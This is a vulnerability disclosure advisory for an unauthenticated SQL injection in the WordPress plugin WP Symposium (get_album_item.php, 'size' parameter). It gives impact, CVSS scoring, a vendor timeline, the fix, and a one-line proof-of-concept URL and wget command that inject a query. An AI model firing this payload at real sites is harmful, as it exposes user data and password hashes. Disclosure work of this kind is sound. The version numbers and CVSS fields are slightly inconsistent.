WordPress Plugin WP Symposium 15.1 - 'get_album_item.php' SQL Injection

# Exploit Title: Wordpress Plugin wp-symposium Unauthenticated SQL Injection Vulnerability
# Date: 2015-07-30
# Exploit Author: PizzaHatHacker
# Vendor Homepage: http://www.wpsymposium.com/
# Version: ? <= version <= 15.5.1
# Contact: PizzaHatHacker[a]gmail[.]com
# Tested on: Apache / WordPress 4.2.3 / wp-symposium 15.5.1
# CVE:
# Category: remote

1. Product Description
Extract from the plugin page :
"WP Symposium turns a WordPress website into a Social Network! It is a WordPress plugin that provides a forum, activity (similar to Facebook wall), member directory, private mail, notification panel, chat windows, profile page, social widgets, activity alerts, RSS activity feeds, Groups, Events, Gallery, Facebook Connect and Mobile support! You simply choose which you want to activate! Certain features are optional to members to protect their privacy."

2. Vulnerability Description & Technical Details
Wordpress plugin wp-symposium version 15.5.1 (and probably all existing previous versions) suffers from an unauthenticated SQL Injection in get_album_item.php parameter 'size'.
The issue is exploitable even if the plugin is deactivated.

3. Impact Analysis :

The SQL injection allows (very easily) to retrieve all the database content, which includes users details and password hashes. An attacker may be able to crack users' password hashes and log in as them. If an administrator user password is obtained, then the attacker could take complete control of the Wordpress installation. Collected information may also allow further attacks.

4. Common Vulnerability Scoring System
* Exploitability Metrics
- Access Vector (AV) : Network (AV:N)
- Access Complexity (AC) : Low (AC:L)
- Authentication (Au) : None (Au:N)

* Impact Metrics
- Confidentiality Impact (C) : Partial (C:P)
- Integrity Impact (I) : Partial (I:P)
- Availability Impact (A) : Partial (A:P)

* CVSS v2 Vector (AV:N/AC:M/Au:N/C:P/I:P/A:P)
- CVSS Base Score : 7.5
- Impact Subscore 6.4
- Exploitability Subscore 10

5. Proof of Concept

PoC URL : http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--
PoC Command (Unix) : wget "http://localhost/<WP-path>/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--" -O output.txt

In the content of the HTTP response you will find the MySQL version, for example :
5.5.44-0+deb7u1

6. Vulnerability Timeline
2015-05    : Vulnerability identified
2015-07-30 : Vendor informed about this issue
2015-07-30 : Vendor confirms the issue
2015-08-04 : Ask for a delay to deploy the fix
2015-08-04 : Response : 1-2 days (needs testing)
2015-08-07 : Update to version 15.8 is available
2015-08-10 : Disclosure of this document (a diff on the patch will trivially reveal the issue)

7. Solution
Update Wordpress plugin wp-symposium to the latest version, which is 15.8 at the date I am writing this.

8. Personal Notes

I am not a security professional, just a fan of computer security.
If you have any questions/remarks, feel free to contact me.
I'm interesting in any discussion/advice/question/criticism about security/exploits/programming :-)